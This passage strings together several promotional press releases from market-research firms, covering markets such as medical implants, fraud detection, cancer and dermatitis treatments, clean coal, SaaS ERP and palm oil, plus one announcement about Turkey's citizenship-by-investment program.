https://www.alliedmarketresearch.com/purchase-enquiry/71?utm_source=sy-Openpr https://www.alliedmarketresearch.com/medical-implants-market?utm_source=sy-Openpr Allied Market Research published a report, titled, Medical Implants Market By Type (Orthopedic Implants, cardiac implants, Stents, Spinal Implants, Neurostimulators, dental implants, Breast Implants, facial Implants) and By Materials (Metallic, Ceramic, Polymers, Natural) - Global Opportunity Analysis and Industry Forecast, 20142022. As per the report, the global medical implants market is expected to generate $116 billion by 2022, registering a CAGR of 7.1% from 2016 to 2022. Orthopedic implant is estimated to contribute to the highest market share throughout the forecast period. North America accounted for the highest market share in 2015 and would continue to dominate during the forecast period.The major factors responsible for the market growth include technological innovations, increase in incidence of chronic diseases, and rise in geriatric population worldwide. In addition, enhanced patient awareness and increase in disposable incomes supplements the market growth. Upsurge in development of minimally invasive and non-surgical procedures would create new opportunities in the market. However, high initial cost of medical implants and less insurance coverage restrain the market growth.These devices are further categorized into reconstructive joint replacements, orthobiologics, and trauma & craniomaxillofacial, among which reconstructive joint replacements had the highest market share in 2015. Neurostimulators has emerged as the fastest growing segment, registering a CAGR of 12.7% during the forecast period. The major factors contributing to this segments growth are increasing prevalence of neurological disorders, high adoption rate in developed economies, and increasing number of clinical trials. The metallic segment was the leading biomaterial, due to its increasing usage as load bearing implants in joint reconstruction surgeries and dental implants, in 2015.Download PDF Report Sample @The major strategies adopted by the leading market players include new product launches & approvals and collaborations. In March, 2016, Zimmer Biomet launched the hip replacement offering and knee implant systems. It enhanced the companys implant and musculoskeletal treatment product portfolio and helped to strengthen their existing product portfolio.The major companies profiled in this report include Stryker Corporation Boston Scientific Corporation Johnson & Johnson Integra Lifesciences Holdings Corporation Medtronic Plc. Smith & Nephew Plc. St. Jude Medical Inc. Zimmer Biomet Holdings Inc. C.R. Bard Inc. LivaNova Plc. Straumann AG.Get Discount UP To 25% on this Report * Offer Till 31st Dec 2018@Key findings of Medical Implants Market: Orthopaedic implant generated the highest revenue in 2015, and is projected to grow at a CAGR of 7.2% during the forecast period. The neurostimulators segment is expected to grow at a remarkable CAGR of 12.7% during the analysis period. U.S. is the major shareholder accounting for 70.7% share of the overall North American medical implants market. Dental implants market is projected to grow at a CAGR of 8.2%. Germany accounted for around one-fourth share of the European medical implants market in 2015. Japan medical implants market is expected to continue to be the highest revenue-generating market in Asia-Pacific.Geographically, the North American region accounted for the majority of the share in the medical implant market in 2015, and is expected to maintain its lead throughout the forecast period. This is attributed to the high awareness and the advance healthcare infrastructure in this region. However, Asia-Pacific is projected to be the fastest growing region due to the increasing incidence of chronic disorders (such as heart disease, cancer, and diabetes), growing geriatric population, and improving health care infrastructure.The medical implants market in Germany is growing at a steady pace, attributed to the rising incidence of chronic diseases.Germany has one of the highest death rates due to heart diseases (even higher than the U.S. or U.K.), lifestyle factors such as increase in rate of smoking (In Germany, for group of more than 15 years of age population, on an average nearly 24.5% are smokers, in the age group 18 to 25 years 35.2% are smokers) and rise in obesity are the major factors behind the health diseases.The country spends more on dental services compared to any other European country apart from Switzerland, which makes it an attractive market for the dental implants industry.Access Full Summery @About Us:Allied Market Research, a market research and advisory company of Allied Analytics LLP, provides business insights and market research reports to large as well as small & medium enterprises. The company assists its clients to strategize business policies and achieve sustainable growth in their respective market domain.Contact:David Correa5933 NE Win Sivers Drive#205, Portland, OR 97220United StatesToll Free (USA/Canada):+1-800-792-5285, +1-503-894-6022, +1-503-446-1141UK: +44-845-528-1300Hong Kong: +852-301-84916India (Pune): +91-20-66346060Fax: +1855550-5975help@alliedmarketresearch.com Fraud Detection & Prevention Market Estimations by 2023, Regional Outlook: North America, Europe, Asia-Pacific and LAMEA https://www.alliedmarketresearch.com/request-sample/2142?utm_source=OpenPR&utm_medium=SS https://www.alliedmarketresearch.com/checkout/699606?utm_source=OpenPR&utm_medium=SS https://www.alliedmarketresearch.com/fraud-detection-and-prevention-market?utm_source=OpenPR&utm_medium=SS https://www.alliedmarketresearch.com Allied Market Researchs market report on Fraud Detection & Prevention Market by Solution, Services, Deployment Type, End User, and Industry Vertical: Global Opportunity Analysis and Industry Forecast, 2016-2023, states that the global fraud detection & prevention market is estimated to garner $40,610 million by 2023 from $13,644 million in 2016, thereby attaining a CAGR of 17% from 2017 to 2023.The market for fraud detection and prevention market is driven by factors such as the advent of big data analytics across various industry verticals such as BFSI, retail, manufacturing, healthcare, real estate, and others, the escalating demand for cloud-based security solutions, and rapid increase in mobile banking. However, high cost of installation of various fraud detection and prevention solutions impede the market growth. Conversely, need for strong authentication methods present opportunities for growth in the future.Download Sample Copy of Report @The banking, financial services & insurance (BFSI) and manufacturing sectors are expected to dominate the global market. North America was the leading contributor to the global revenue, whereas, Asia-Pacific is projected to be dominant region by 2023.In 2016, BFSI accounted for maximum revenue share, owing to frequent incident of fraudulent activities, specifically in mobile transactions. For instance, in January 2018, HID Global collaborated with Threat Mark, a threat and fraud detection technology provider to develop new features to improve the ability of financial organizations to identify cyber threats such as malware, identity theft, and account takeover.Rise in demand for advanced authentication provides numerous growth opportunities for market expansion in the government sector. In addition, the retail segment is projected to grow at a highest CAGR of 18.7%, owing to rise in incident of card-related frauds, transactions, and revenue loses. The authentication segment generated the highest revenue in 2015, as organizations largely invest on technologies that can protect data from security risks and malware attacks.The fraud analytics solution is expected to grow at the highest CAGR, as these solutions analyze various forms of data and then covert them to actionable insights. In addition, rise in adoption of advanced analytics techniques and competitive intelligence that involves tactful data collection & collation, analysis, and formation of meaningful insights that enables in making strategic business decisions supplements the fraud detection & prevention market growth.Purchase Enquiry (Get Discount UP To 25% * Offer Till 31st Dec 2018) @In 2016, North America accounted for a major share in the global fraud detection & prevention market. However, Asia-Pacific is expected to dominate by 2023, owing to increase in rate of Internet penetration in India, China, Japan, Malaysia, and Singapore as organizations need to protect corporate and personal information from fraud attacks.Furthermore, the need to support secure enterprise mobility practices within organizations is expected to boost the demand for fraud detection & prevention solutions.Key Findings of the Fraud Detection & Prevention Market:In 2016, authentication dominated the overall fraud detection & prevention solutions segment, in terms of revenue, and is projected to grow at a CAGR of 16.4% during the forecast period.Managed services is estimated to grow at the highest CAGR of 17.4 % during the forecast periodOn-premises deployment type is anticipated to generate the highest revenue by 2023.Small & medium enterprises (SMEs) is projected to grow at the highest CAGR of 17.8% during the forecast period.The retail segment is expected to witness the highest growth rate of 18.7% during the forecast period.In 2016, North America generated the highest revenue in the global market, while Asia-Pacific is expected to grow at a significant CAGR of 18.2%.Prominent players, such as IBM Corporation, BAE Systems, SAP SE, Oracle Corporation, ACI Worldwide, and others, focus on product launch, acquisition, and partnership for expansion in the market. For instance, in 2016, IBM Corporation acquired IRIS Analytics, a privately held company specializing in real-time analytics to help combat fraud.Access Full Summary of Report @About Us:Allied Market Research (AMR) is a full-service market research and business-consulting wing of Allied Analytics LLP based in Portland, Oregon. Allied Market Research provides global enterprises as well as medium and small businesses with unmatched quality of "Market Research Reports" and "Business Intelligence Solutions. AMR has a targeted view to provide business insights and consulting to assist its clients to make strategic business decisions and achieve sustainable growth in their respective market domain.We are in professional corporate relations with various companies and this helps us in digging out market data that helps us generate accurate research data tables and confirms utmost accuracy in our market forecasting. Each and every data presented in the reports published by us is extracted through primary interviews with top officials from leading companies of domain concerned. Our secondary data procurement methodology includes deep online and offline research and discussion with knowledgeable professionals and analysts in the industry.Contact:Sona Padman5933 NE Win Sivers Drive#205, Portland, OR 97220United StatesToll Free (USA/Canada):+1-800-792-5285, +1-503-894-6022, +1-503-446-1141UK: +44-845-528-1300Hong Kong: +852-301-84916India (Pune): +91-20-66346060Fax: +1855550-5975help@alliedmarketresearch.comWeb: Endometrial Cancer Treatment Market 2017-2027 | R-Pharm-US LLC., Bristol-Myers Squibb Company, Pfizer Inc., AstraZeneca Plc. https://www.marketresearchreports.biz/sample/sample/13030 https://www.marketresearchreports.biz/sample/toc/13030 https://www.marketresearchreports.biz/checkout?rep_id=13030&licType=S http://www.marketresearchreports.biz/ "The Latest Research Report Endometrial Cancer Treatment Market: Global Industry Analysis and Opportunity Assessment 2017-2027 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.biz"Endometrial cancer or uterine cancer is one of the most common gynecological cancers and 2.8% of women are diagnosed with the endometrial cancer at some point in their lives. According to National Cancer Institute statistics, in 2015 endometrial cancer contributed to 1.8% of all cancers and 3.6% of all new cancer cases were diagnosed as endometrial cancer. Early detection of endometrial cancer helps in the selection of proper treatment options. Endometrial cancers are typically diagnosed as type I and type II tumors and majority of the patients diagnosed with endometrial cancer represent early-stage cancers. According to Yale University School of Medicine, U.S., in 2014, type I tumors constitute 80% of all cases of endometrial cancers diagnosed in the U.S. Endometrial cancer can be treated by one or combination of chemotherapy, radiation therapy and hormone therapy. Most of the physicians recommend combination treatments as chemotherapy alone has traditionally been deem ineffective. Adjuvant radiation therapy is preferred in patients who have diagnosed with sage I or II endometrial cancer. Radiation therapy is also recommended in patients who have undergone the surgery, in order to avoid the relapse of endometrial cancer. Endometrial cancer is often detected in women above the age of 50 years and risk of endometrial cancer increases with the age. Also the risk of development of endometrial cancer is more in breast cancer patients who are being treated with tamoxifen or estrogen for long time. Plenty of chemotherapeutic agents are available and are recommended in the combination for the treatment of endometrial cancer. Some of the combination therapies include carboplatin & paclitaxel, Cisplatin & doxorubicin, Carboplatin & docetaxel and others.Get Sample Copy of this report @Endometrial Cancer Treatment Market: Drivers and RestraintsIncreasing incidence of uterine serous carcinoma a highly aggressive variant of endometrial cancer and relapse of endometrial cancers in patients treated with chemotherapy are the prime factors driving the growth of global endometrial cancer treatment market over the forecast period. In 2014, uterine serous carcinoma represented 10% of all caseload of endometrial cancers in the U.S. Some of the risk factors of endometrial cancer include obesity, presence of polycystic ovarian syndrome, long-term consumption of birth control pills, delayed pregnancy etc. Increasing incidence of obesity in the women aged above 50 can lead to the growth of endometrial cancer treatment market. However, divergent nature of cancer and increasing stringency in the regulatory requirements are the prime factors limiting the growth of global endometrial cancer treatment market. Besides this, side effects related to chemotherapy, radiation therapy and hormone therapy also restricts the adoption of these agents for endometrial cancer treatment.Endometrial Cancer Treatment Market: SegmentationThe global endometrial cancer treatment market has been segmented on the basis of treatment type, end user, and geography.Based on treatment type, the global endometrial cancer treatment market is divided into following:ChemotherapyCarboplatinPaclitaxelIxabepiloneOthersHormonal TherapyMegestrol (Megace)Medroxyprogesterone (PROVERA)Others (anastrozole, letrozole, etc.)Radiation TherapyWhole Pelvic External-beam Radiation TherapyVaginal BrachytherapySurgeryHysterectomyBilateral Salpingo-oophorectomy (removal of both fallopian tubes and ovaries)Based on end user, the global endometrial cancer treatment market is segmented as below:Retail PharmacyHospital pharmacyClinicsEndometrial Cancer Treatment Market: OverviewGlobal market for endometrial cancer treatment is forecast to grow at moderate rate owing to less number of drugs approved for treatment of endometrial cancer. Despite of this, chemotherapy segment is expected to hold the highest share in the global endometrial cancer treatment market due to high adoption rate of chemotherapy over radiation and surgical treatment. Also chemotherapeutic agents such as carboplatin and paclitaxel are recommended as a first line of therapy in majority of the cases, which increases demand for these products. Recent FDA approval of IXEMPRA (ixabepilone) for use in the treatment of endometrial cancer treatment is expected to fuel the growth of global market over the forecast period.Endometrial Cancer Treatment Market: Regional Wise OutlookGeographically, the global endometrial cancer treatment market is classified into regions viz. North America, Latin America, Western Europe, Eastern Europe, Asia-Pacific, Japan, Middle East and Africa. North America will continue to hold largest share in the global endometrial cancer treatment market due to high incidence of uterine serous carcinoma. Europe is expected to hold the second largest share in the global market partly due to increasing product availability in the region. North America is expected to expand at the highest rate over the forecast period.Endometrial Cancer Treatment Market: Key PlayersSome of the players operating in the global endometrial cancer treatment market include R-Pharm-US LLC., Bristol-Myers Squibb Company, Pfizer Inc., AstraZeneca Plc., Novartis AG and others. The global endometrial cancer treatment market is expected to grow in future due to increasing investment by multinational companies in cancer research.Request For TOC Report @The report is a compilation of first-hand information, qualitative and quantitative assessment by industry analysts, inputs from industry experts and industry participants across the value chain. The report provides in-depth analysis of parent market trends, macro-economic indicators and governing factors along with market attractiveness as per segments. The report also maps the qualitative impact of various market factors on market segments and geographies.The report covers exhaustive analysis on:Market SegmentsMarket DynamicsMarket SizeSupply & DemandCurrent Trends/Issues/ChallengesCompetition & Companies involvedTechnologyValue ChainRegional analysis includesNorth America (U.S., Canada)Latin America (Mexico, Brazil)Western Europe (Germany, Italy, U.K, Spain, France, Nordic countries, BENELUX)Eastern Europe (Russia, Poland, Rest Of Eastern Europe)Asia Pacific Excluding Japan (China, India, Australia & New Zealand)JapanMiddle East and Africa (GCC, S. Africa, Rest Of MEA)Report Highlights:Detailed overview of parent marketChanging market dynamics in the industryIn-depth market segmentationHistorical, current, and projected market size in terms of volume and valueRecent industry trends and developmentsCompetitive landscapeStrategies of key players and products offeredPotential and niche segments, geographical regions exhibiting promising growthA neutral perspective on market performanceMust-have information for market players to sustain and enhance their market footprintRequest To PRE BOOK This Premium Report From Here @About usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.ContactMr. NachiketState Tower90 Sate Street, Suite 700Albany, NY 12207Tel: +1-518-621-2074Website:E: sales@marketresearchreports.biz Atopic Dermatitis Market 2018 Growing Rapidly at A CAGR of 8.2% By International Key Players; Astellas Pharma Inc., Sanofi S.A., Regeneron Pharmaceuticals, Etc Atopic Dermatitis Market https://www.marketresearchfuture.com/sample_request/1610 https://www.marketresearchfuture.com/reports/atopic-dermatitis-market-1610 Market Research Future has a Research Report on the Global Atopic Dermatitis Market. Report included Professional Analysis, information Collected through Top Industry Experts Interviews and Future Growth Predictions of Market.Atopic Dermatitis Market OverviewAtopic dermatitis is a disease that affects the people with super sensitive skin. A common type of eczema, atopic dermatitis can misguide the immune system and lead later to chronic diseases. Mostly infants and children suffer from this disease, and it includes hay fever, food allergies, allergic asthma, and anaphylaxis. The global atopic dermatitis market can achieve a substantial 8.2% CAGR during the forecast period (2017-2023), reports Market Research Future (MRFR) in an in-depth analysis of the said market. It further includes drivers that are impacting the atopic dermatitis market such as atopic disorders, falling number of proteins called filaggrin in the skin, improving technology ushering in new treatment methods and government investments in research & development (R&D) are pushing the market ahead.However, the atopic dermatitis market is experiencing whistle-stop growth owing to the availability of expensive treatment and poor reimbursement policies in developing regions across the world. But the latest technological revamping in those regions can assist the market in regaining its market impact faster than previously imagined.Request Sample Report atAtopic Dermatitis Market - Competitive DashboardThe global market is witnessing several tactical steps getting implemented by major companies that include mergers, acquisitions, new product launch, collaboration, and others. Novartis has recently launched a monoclonal antibody treatment, MOR106 which can prove beneficial for atopic dermatitis. The National Institute for Health and Care Excellence (NICE), on the other hand, has prescribed Dupixent for patients with moderate or high atopic dermatitis.Some of crucial the players in the atopic dermatitis market are Astellas Pharma Inc. (Japan), Sanofi S.A. (France), Regeneron Pharmaceuticals, Inc. (U.S.), Valeant Pharmaceuticals International, Inc (Canada), Anacor Pharmaceuticals Inc. (U.S.), Novartis International AG (Switzerland), Bristol-Myers Squibb (U.S.), Meda Pharmaceuticals (U.S.), Pfizer Inc. (U.S.), Galderma S.A. (Switzerland), Allergan Plc. (Republic of Ireland), and others.Atopic Dermatitis Market - SegmentationThe global atopic dermatitis market can be segmented by types, application, and end-user.Type-wise, the atopic dermatitis market can be segmented into hormone, erythropoietin, monoclonal antibodies, interferon, calcitonin, and others.Application-wise, the atopic dermatitis market includes cancer, blood disorders, chronic diseases, infectious diseases, and others.Based on end-users, the atopic dermatitis market comprises hospitals, clinics, and research centers.Atopic Dermatitis Market - Industry TrendThe National Eczema Association (NEA) set up recently the Coalition United for Better Eczema Care (CUBE-C) to provide practitioners with latest updates regarding Atopic Dermatitis treatment. The aim this endeavor is creating awareness regarding the disease.According to an article published in American Society for Clinical Investigation, Roseomonas mucosa (R. mucosa) in recent trials have performed significantly by killing Staphylococcus aureus, a common eczema and skin irritation causing bacteria. The clinical trial has gone as desired and it could revolutionize the treatment procedure.Browse Complete 85 Pages Premium Research Report Enabled with 66 Respective Tables and Figures atAtopic Dermatitis Market - Regional AnalysisGeographical analysis of the atopic dermatitis market spans across the Americas, Europe, Asia Pacific (APAC), and the Middle East & Africa (MEA).The Americas is currently leading the market, and its superior infrastructure has made it possible. High investment in healthcare, increasing government funding in R & D, inflating patient pool and growing use of skin irritants such as perfumes and cosmetics are boosting the market substantially.Europe holds the second position and follows the American model of infrastructure for better output. Furthermore, countries such as France and Germany have increased their healthcare expenditure which ensures considerable growth for the regional market. The AAPC is anticipated to be the fastest growing country with countries such as India, China, and South Korea investing heavily in the healthcare sector. India and South Korea are also generating substantial demand for atopic dermatitis treatment. However, the MEA market is not looking that promising as lack of screening of diseases and ignoring it further are rampant, coupled with poor treatment facilities.About Market Research Future:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Statistical Report, Continuous-Feed Research (CFR), and Market Research & Consulting Services.Contact Us:Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, IndiaPhone: +1 646 845 9312Email: sales@marketresearchfuture.com Clean Coal Market 2018 Global Analysis By Key Players Peabody, Arch Coal, Anglo American, RWE AG, BHP Billiton, Alpha Natural Resources, SUEK Clean Coal Market https://www.wiseguyreports.com/sample-request/3475272-global-clean-coal-market-2018-by-manufacturers-regions https://www.wiseguyreports.com/enquiry/3475272-global-clean-coal-market-2018-by-manufacturers-regions https://www.wiseguyreports.com/checkout?currency=one_user-USD&report_id=3475272 WiseGuyReports.Com Publish a New Market Research Report On Clean Coal Market 2018 Global Analysis By Key Players Peabody, Arch Coal, Anglo American, RWE AG, BHP Billiton, Alpha Natural Resources, SUEK.Description:-Development of new 'clean coal' technologies is addressing this problem so that the world's enormous resources of coal can be utilized for future generations without contributing to global warming. Much of the challenge is in commercializing the technology so that coal use remains economically competitive despite the cost of achieving low, and eventually 'near-zero', emissions. The technologies are both costly and energy-intensive.Scope of the Report:This report focuses on the Clean Coal in global market, especially in North America, Europe and Asia-Pacific, South America, Middle East and Africa. This report categorizes the market based on manufacturers, regions, type and application.In the last several years, Global market of Clean Fine Coal developed fluctuation with an average growth rate of -1.79%. In 2016, Global Revenue of Clean Fine Coal is nearly 122 Billion USD; the actual productions are about 2221 M MT.The worldwide market for Clean Coal is expected to grow at a CAGR of roughly xx% over the next five years, will reach xx million US$ in 2023, from xx million US$ in 2017, according to a new GIR (Global Info Research) study.Get a Sample Report @For more information or any query mail at sales@wiseguyreports.comMarket Segment by Manufacturers, this report coversPeabodyArch CoalAnglo AmericanRWE AGBHP BillitonAlpha Natural ResourcesSUEKShenhua GroupYanzhou Coal MiningXishan Coal Electricity GroupDatong Coal GroupChina National Coal GroupChina Pingmei Shenma GroupCoal IndiaMarket Segment by Regions, regional analysis coversNorth America (United States, Canada and Mexico)Europe (Germany, France, UK, Russia and Italy)Asia-Pacific (China, Japan, Korea, India and Southeast Asia)South America (Brazil, Argentina, Colombia etc.)Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa)Market Segment by Type, coversAsh Range 12.5%Ash Range 12.5%-16%Ash Range 16%Market Segment by Applications, can be divided intoElectric PowerIndustryOthersThere are 15 Chapters to deeply display the global Clean Coal market.Chapter 1, to describe Clean Coal Introduction, product scope, market overview, market opportunities, market risk, market driving force;Chapter 2, to analyze the top manufacturers of Clean Coal, with sales, revenue, and price of Clean Coal, in 2016 and 2017;Chapter 3, to display the competitive situation among the top manufacturers, with sales, revenue and market share in 2016 and 2017;Chapter 4, to show the global market by regions, with sales, revenue and market share of Clean Coal, for each region, from 2013 to 2018;ContinuedEnquiry About Report @Table Of Contents Major Key Points1 Market Overview1.1 Clean Coal Introduction1.2 Market Analysis by Type1.2.1 Ash Range 12.5%1.2.2 Ash Range 12.5%-16%1.2.3 Ash Range 16%1.3 Market Analysis by Applications1.3.1 Electric Power1.3.2 Industry1.3.3 Others1.4 Market Analysis by Regions1.4.1 North America (United States, Canada and Mexico)1.4.1.1 United States Market States and Outlook (2013-2023)1.4.1.2 Canada Market States and Outlook (2013-2023)1.4.1.3 Mexico Market States and Outlook (2013-2023)1.4.2 Europe (Germany, France, UK, Russia and Italy)1.4.2.1 Germany Market States and Outlook (2013-2023)1.4.2.2 France Market States and Outlook (2013-2023)1.4.2.3 UK Market States and Outlook (2013-2023)1.4.2.4 Russia Market States and Outlook (2013-2023)1.4.2.5 Italy Market States and Outlook (2013-2023)1.4.3 Asia-Pacific (China, Japan, Korea, India and Southeast Asia)1.4.3.1 China Market States and Outlook (2013-2023)1.4.3.2 Japan Market States and Outlook (2013-2023)1.4.3.3 Korea Market States and Outlook (2013-2023)1.4.3.4 India Market States and Outlook (2013-2023)1.4.3.5 Southeast Asia Market States and Outlook (2013-2023)1.4.4 South America, Middle East and Africa1.4.4.1 Brazil Market States and Outlook (2013-2023)1.4.4.2 Egypt Market States and Outlook (2013-2023)1.4.4.3 Saudi Arabia Market States and Outlook (2013-2023)1.4.4.4 South Africa Market States and Outlook (2013-2023)1.4.4.5 Nigeria Market States and Outlook (2013-2023)1.5 Market Dynamics1.5.1 Market Opportunities1.5.2 Market Risk1.5.3 Market Driving Force2 Manufacturers Profiles2.1 Peabody2.1.1 Business Overview2.1.2 Clean Coal Type and Applications2.1.2.1 Product A2.1.2.2 Product B2.1.3 Peabody Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)2.2 Arch Coal2.2.1 Business Overview2.2.2 Clean Coal Type and Applications2.2.2.1 Product A2.2.2.2 Product B2.2.3 Arch Coal Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)2.3 Anglo American2.3.1 Business Overview2.3.2 Clean Coal Type and Applications2.3.2.1 Product A2.3.2.2 Product B2.3.3 Anglo American Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)2.4 RWE AG2.4.1 Business Overview2.4.2 Clean Coal Type and Applications2.4.2.1 Product A2.4.2.2 Product B2.4.3 RWE AG Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)2.5 BHP Billiton2.5.1 Business Overview2.5.2 Clean Coal Type and Applications2.5.2.1 Product A2.5.2.2 Product B2.5.3 BHP Billiton Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)2.6 Alpha Natural Resources2.6.1 Business Overview2.6.2 Clean Coal Type and Applications2.6.2.1 Product A2.6.2.2 Product B2.6.3 Alpha Natural Resources Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)2.7 SUEK2.7.1 Business Overview2.7.2 Clean Coal Type and Applications2.7.2.1 Product A2.7.2.2 Product B2.7.3 SUEK Clean Coal Sales, Price, Revenue, Gross Margin and Market Share (2016-2017)ContinuedBuy 1-user PDF @For more information or any query mail at sales@wiseguyreports.comABOUT US:Wise Guy Reports is part of the Wise Guy Consultants Pvt. Ltd. and offers premium progressive statistical surveying, market research reports, analysis & forecast data for industries and governments around the globe. Wise Guy Reports features an exhaustive list of market research reports from hundreds of publishers worldwide. We boast a database spanning virtually every market category and an even more comprehensive collection of market research reports under these categories and sub-categories.Office No.528,Amanora Chambers,Magarpatta Road,Hadapsar,Pune-411028. HF Corporation welcomes the amendments to Turkish Citizenship by Investment Program. Global Citizenship Advisors Turkey, a member state of NATO, G20 and a founding member of OECD, acts as a natural bridge between East-West and North-South axes. In January 2017, Turkish government announced its citizenship-by-investment program that allows eligible investors to acquire Turkish citizenship on making qualified investments in the country. On 18 September, 2018, the respective law (501:46) was amended, thereby, reducing the investment requirements in order to make the program even more attractive to the investors. Turkey is, by far, the largest and the most diversified economy among all the countries that offer citizenship-by-investment. Over the past 15 years, Turkey has put in a noteworthy performance by tripling its overall economy from USD 236 billion in 2002 to USD 851 billion in 2017. Turkey's performance in economic development saw its income per capita triple, from USD 3,581 in 2002 to USD 10,597 in 2017.Turkey offer multiple qualifying investment routes under its citizenship program. The investors need to choose only one of the following options:1- Investment of USD 250,000, or equivalent in Turkish Liras, in real estate for a period of three (3) years;2- Capital investment of USD 500,000, or equivalent in Turkish Liras;3- Fixed deposit of USD 500,000, or equivalent in Turkish Liras, in the banks operating in Turkey for a period of three (3) years;4- Purchase of State Debt Instruments of USD 500,000, or equivalent, to be kept for a period of three (3) years;5- Creation of Employment for at least fifty (50) people.''HF Corporation welcomes the recent amendments to the Turkish citizenship-by-investment program. Turkey is one of the fastest growing economies among the OCED countries. It is also one of the most promising real estate markets in Eastern Europe, said Dr. Hussain Farooq, President and CEO of HF Corporation, a citizenship advisory firm which advises its discerning clientele on the global citizenship programs and constantly monitors the development of such programs around the globe, in addition to publishing one of the most comprehensive rankings of citizenship programs.The unique geographical location of the country, great ease of doing business, presence of economic free zones coupled with its custom union agreements with the EU and other European countries make Turkey an attractive place for both living and doing business. The growing real estate sector presents great opportunities for individual investors as well as real estate groups. Number of houses sold to foreigners have seen a year-on-year increase of approximately 22% in 2017. The citizenship-by-investment program of Turkey can be an attractive proposition to investors from the Middle East and Pakistan who are looking to diversify their assets in line with their residence and citizenship strategies, concluded Dr. Farooq.HF Corporation is a citizenship- and investment-advisory firm which, on one side, advises high net worth individuals on acquisition of second citizenship and residence, by way of citizenship-by-investment; while on the other hand it runs a governments advisory practice that liaises with different governments to build up strategies that could help in bolstering foreign direct investment, in their respective countries, through (re)structuring and promotion of such programs.HF Corporation31, A1, Johar Town, Lahore, 54000. Global Saas-based Enterprise Resource Planning Market : Soaring Demand Assures Motivated Revenue Share during 2018-2025 QYResearchReports https://www.qyresearchreports.com/sample/sample.php?rep_id=1972460&type=S https://www.qyresearchreports.com/year-end-offer https://www.qyresearchreports.com/report/global-saas-based-enterprise-resource-planning-market-size-status-and-forecast-2018-2025.htm Qyresearchreports include new market research report "Global Saas-based Enterprise Resource Planning Market Size, Status and Forecast 2018-2025" to its huge collection of research reports.In 2017, the global Saas-based Enterprise Resource Planning market size was million US$ and it is expected to reach million US$ by the end of 2025, with a CAGR of during 2018-2025.The global market for Saas-based Enterprise Resource Planning has experienced several changes in the last few years. This research report on the worldwide Saas-based Enterprise Resource Planning market attempts to analyze these change and present a complete overview of this market. It provides important information and statistics of this market such as growth drivers, restraining factors, future prospects, and trends and opportunities.For free sample of this report, fill the form @Analysts have carried out multiple analyses to determine the volume of production and efficiency of the global Saas-based Enterprise Resource Planning market, considering the performances of its regional Saas-based Enterprise Resource Planning markets. The demand and supply statistics for Saas-based Enterprise Resource Planning in the global arena has also been discussed in this market report.This report focuses on the global Saas-based Enterprise Resource Planning status, future forecast, growth opportunity, key market and key players. The study objectives are to present the Saas-based Enterprise Resource Planning development in United States, Europe and China.The key players covered in this studyMicrosoft Corp.InforEpicor Software CorpNetSuite IncOracle CorpAplicor LLCSAP AGACUMATICADeltekPlex Systems IncRamco Systems LtdRootStock SoftwareWorkday Inc.Market segment by Type, the product can be split intoFinance ERPHR ERPSupply Chain ERPMarket segment by Application, split intoManufacturingWholesale & DistributionOthersGet Year End Offers on this Report atMarket segment by Regions/Countries, this report coversUnited StatesEuropeChinaJapanSoutheast AsiaIndiaCentral & South AmericaThe study objectives of this report are:To analyze and study the global Saas-based Enterprise Resource Planning capacity, production, value, consumption, status (2013-2017) and forecast (2018-2025);Focuses on the key Saas-based Enterprise Resource Planning manufacturers, to study the capacity, production, value, market share and development plans in future.Focuses on the global key manufacturers, to define, describe and analyze the market competition landscape, SWOT analysis.To define, describe and forecast the market by type, application and region.To analyze the global and key regions market potential and advantage, opportunity and challenge, restraints and risks.To identify significant trends and factors driving or inhibiting the market growth.To analyze the opportunities in the market for stakeholders by identifying the high growth segments.To strategically analyze each submarket with respect to individual growth trend and their contribution to the marketTo analyze competitive developments such as expansions, agreements, new product launches, and acquisitions in the marketTo strategically profile the key players and comprehensively analyze their growth strategies.In this study, the years considered to estimate the market size of Saas-based Enterprise Resource Planning are as follows:History Year: 2013-2017Base Year: 2017Estimated Year: 2018Forecast Year 2018 to 2025For the data information by region, company, type and application, 2017 is considered as the base year. Whenever data information was unavailable for the base year, the prior year has been considered.Browse full table of contents and data tables of Report @Key StakeholdersSaas-based Enterprise Resource Planning ManufacturersSaas-based Enterprise Resource Planning Distributors/Traders/WholesalersSaas-based Enterprise Resource Planning Subcomponent ManufacturersIndustry AssociationDownstream VendorsAbout Us:QYResearchReports.com delivers the latest strategic market intelligence to build a successful business footprint in China. Our syndicated and customized research reports provide companies with vital background information of the market and in-depth analysis on the Chinese trade and investment framework, which directly affects their business operations. Reports from QYResearchReports.com feature valuable recommendations on how to navigate in the extremely unpredictable yet highly attractive Chinese market.Contact Us:Brooklyn, NY 11230United StatesToll Free: 866-997-4948 (USA-CANADA)Tel: +1-518-621-2074Email: sales@qyresearchreports.com Palm Oil Market: Demand from Biofuel Sector to Prominently Impact Palm Oil Prices || Top Growing Industries- American Vegetable Oils, Bunge Limited, Fuji Oil Holdings, Ruchi Soya Industries Limited, Associated British Foods https://www.factmr.com/connectus/sample?flag=S&rep_id=109 https://www.factmr.com/report/109/palm-oil-market https://www.factmr.com/checkout/109/S https://www.factmr.com/ https://www.industrynewsanalysis.com/ The growth of the palm oil market is dependent on several market sentiments and supply-demand factors. High price volatility is likely to hit the palm oil market as palm oil captures the largest volume of vegetable oil traded across the globe and enforcement of new policies and regulation against the backdrop of growing awareness regarding irresponsible plantation practices. Palm planters are expected to be the most affected stakeholders as their profit margin is influenced by weakening export outlook and increasing minimum wage policies. These factors are pushing farmers to increase the cost of production, thereby impacting the overall palm oil market outlook.Get Free Sample Report @Ongoing efforts to achieve complete transparency and sustainability in the palm oil supply chain is expected to prominently influence the growth of the palm oil market. According to the report published by Fact.MR, the palm oil market is projected to grow at a moderate pace while representing a CAGR of 